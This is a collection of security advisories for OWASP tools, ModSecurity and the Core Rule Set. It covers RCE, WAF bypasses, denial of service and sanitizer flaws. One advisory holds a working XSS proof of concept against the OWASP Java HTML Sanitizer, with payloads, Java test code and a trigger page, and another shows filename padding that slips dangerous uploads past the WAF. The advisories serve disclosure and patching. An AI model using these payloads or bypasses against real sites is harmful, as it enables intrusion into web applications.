FACTION is a PenTesting Report Generation and Collaboration Framework. Prior to version 1.7.1, an extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users. This issue has been patched in version 1.7.1.

OWASP json-sanitizer before 1.2.2 may emit closing SCRIPT tags and CDATA section delimiters for crafted input. This allows an attacker to inject arbitrary HTML or XML into embedding documents.

The OWASP Java HTML Sanitizer before 20211018.1 does not properly enforce policies associated with the SELECT, STYLE, and OPTION elements.

coreruleset (aka OWASP ModSecurity Core Rule Set) through 3.3.4 does not block multiple Content-Type headers, which might allow attackers to bypass a WAF with a crafted payload, aka "Content-Type confusion." This occurs when the web application relies on only the last Content-Type header.

ESAPI (The OWASP Enterprise Security API) is a free, open source, web application security control library. Prior to version 2.3.0.0, the default implementation of Validator.getValidDirectoryPath(String, String, File, boolean) may incorrectly treat the tested input string as a child of the specified parent directory. This potentially could allow control-flow bypass checks to be defeated if an attack can specify the entire string representing the 'input' path. This vulnerability is patched in release 2.3.0.0 of ESAPI. As a workaround, it is possible to write one's own implementation of the Validator interface. However, maintainers do not recommend this.

Modsecurity owasp-modsecurity-crs 3.2.0 (Paranoia level at PL1) has a SQL injection bypass vulnerability. Attackers can use the comment characters and variable assignments in the SQL syntax to bypass Modsecurity WAF protection and implement SQL injection attacks on Web applications.

The OWASP ModSecurity Core Rule Set (CRS) is affected by a partial rule set bypass by submitting a specially crafted HTTP Content-Type header field that indicates multiple character encoding schemes. A vulnerable back-end can potentially be exploited by declaring multiple Content-Type "charset" names and therefore bypassing the configurable CRS Content-Type header "charset" allow list. An encoded payload can bypass CRS detection this way and may then be decoded by the backend. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively.

OWASP ModSecurity Core Rule Set 3.1.x before 3.1.2, 3.2.x before 3.2.1, and 3.3.x before 3.3.2 is affected by a Request Body Bypass via a trailing pathname.

A flaw was found in the OWASP ModSecurity Core Rule Set. A payload that uses a character encoding scheme via the Content-Type or the deprecated Content-Transfer-Encoding multipart MIME header fields allows HTTP multipart requests to bypass detection.

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like MULTIPARTPARTHEADERS), the capture variables (TX:0, TX:1) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.

An issue in OWASP DefectDojo before v.1.5.3.1 allows a remote attacker to escalate privileges via the user permissions component.

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Versions prior to 2.1.1 contain an RCE vulnerability in the .github/workflows/regenerate-migrations.yml workflow. The workflow uses the pullrequesttarget trigger to run with full GITHUBTOKEN write permissions, copies attacker-controlled files from untrusted pull requests into the trusted runner workspace via git show, and then executes python manage.py makemigrations, which imports Django model modules including attacker-controlled website/models.py at runtime. Any module-level Python code in the attacker's models.py is executed during import, enabling arbitrary code execution in the privileged CI environment with access to GITHUBTOKEN and repository secrets. The attack is triggerable by any external contributor who can open a pull request, provided a maintainer applies the regenerate-migrations label, potentially leading to secret exfiltration, repository compromise, and supply chain attacks. A patch for this issue is expected to be released in version 2.1.1.

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pullrequesttarget (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.

In OWASP CSRFGuard through 3.1.0, CSRF can occur because the CSRF cookie may be retrieved by using only a session token.

ModSecurity / libModSecurity 3.0.0 to 3.0.11 is affected by a WAF bypass for path-based payloads submitted via specially crafted request URLs. ModSecurity v3 decodes percent-encoded characters present in request URLs before it separates the URL path component from the optional query string component. This results in an impedance mismatch versus RFC compliant back-end applications. The vulnerability hides an attack payload in the path component of the URL from WAF rules inspecting it. A back-end may be vulnerable if it uses the path component of request URLs to construct queries. Integrators and users are advised to upgrade to 3.0.12. The ModSecurity v2 release line is not affected by this vulnerability.

Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style"). 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

3. Run the following piece of code which sanitizes the payload.

java public class main { private static final String ALLOWEDHTMLTAGS = "p, noscript, style";

/ Description of vulnerability : The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. /

public static void main(String[] args) { withAllowedTextAndStyleTag(); }

/ Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWEDHTMLTAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

4. Output of the POC code should look like this

HTML

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

5. Lets understand what happened in sanitization process below

txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

6. Lets create a sample html page and copy both sanitized output which should be generated in step 5

HTML

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p>

</body> </html>

7. Open this HTML page in the browser it should pop an alert.

!Alt text

8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

!SAFE from XSS

9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

!XSS POC

Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Prior to 3.0.16, the multipart/form-data request body parser in libmodsecurity silently removes embedded line breaks from non-file form-field values before exporting them to ARGS and ARGSPOST because src/requestbodyprocessor/multipart.cc overwrites reserved bytes in mreserve instead of appending the current buffer. This creates a parser differential between ModSecurity and backend applications that preserve line breaks in form fields, allowing rules that inspect ARGS or ARGSPOST to miss payloads whose dangerous syntax depends on a line break. This issue is fixed in version 3.0.16.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Libmodsecurity is one component of the ModSecurity v3 project. A segmentation fault occurs when a rule using the t:hexDecode transformation inspects a query string parameter containing a single character. An attacker can exploit this to crash worker processes, causing a denial of service. Service resumes once the attack stops as worker processes recover from the segfault. All versions before 3.0.15 of libModSecurity3 are affected. This has been patched in version 3.0.15.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::outofrange) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.

OWASP Dependency-Check before 3.2.0 allows attackers to write to arbitrary files via a crafted archive that holds directory traversal filenames.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Versions prior to 2.9.10 contain a denial of service vulnerability similar to GHSA-859r-vvv8-rm8r/CVE-2025-47947. The sanitiseArg (and sanitizeArg - this is the same action but an alias) is vulnerable to adding an excessive number of arguments, thereby leading to denial of service. Version 2.9.10 fixes the issue. As a workaround, avoid using rules that contain the sanitiseArg (or sanitizeArg) action.

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 3.3.9 and 4.25.0, a bypass was identified in OWASP CRS that allows uploading files with dangerous extensions (.php, .phar, .jsp, .jspx) by inserting whitespace padding in the filename (e.g. photo. php or shell.jsp ). The affected rules do not normalize whitespace before evaluating the file extension regex, so the dot-extension check fails to match. This issue has been patched in versions 3.3.9 and 4.25.0.

An issue in the JsonSanitizer.sanitize() component of OWASP json-sanitizer v1.2.3 allows attackers to cause a Denial of Service (DoS) via a crafted input.

ModSecurity 3.x through 3.0.5 mishandles excessively nested JSON objects. Crafted JSON objects with nesting tens-of-thousands deep could result in the web server being unable to service legitimate requests. Even a moderately large (e.g., 300KB) HTTP request can occupy one of the limited NGINX worker processes for minutes and consume almost all of the available CPU on the machine. Modsecurity 2 is similarly vulnerable: the affected versions include 2.8.0 through 2.9.4.

DISPUTED Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports "Trustwave has signaled they are disputing our claims." The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It's well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.

Trustwave ModSecurity 3.0.0 through 3.0.3 allows an attacker to send crafted requests that may, when sent quickly in large volumes, lead to the server becoming slow or unresponsive (Denial of Service) because of a flaw in Transaction::addRequestHeader in transaction.cc.

OWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.

A SQL injection bypass (aka PL1 bypass) exists in OWASP ModSecurity Core Rule Set (owasp-modsecurity-crs) through v3.1.0-rc3 via {ab} where a is a special function name (such as "if") and b is the SQL statement to be executed.

Trustwave ModSecurity 3.x before 3.0.10 has Inefficient Algorithmic Complexity.

The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass to sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP Range header field with a small byte range. A restricted resource, access to which would ordinarily be detected, may be exfiltrated from the backend, despite being protected by a web application firewall that uses CRS. Short subsections of a restricted resource may bypass pattern matching techniques and allow undetected access. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively and to configure a CRS paranoia level of 3 or higher.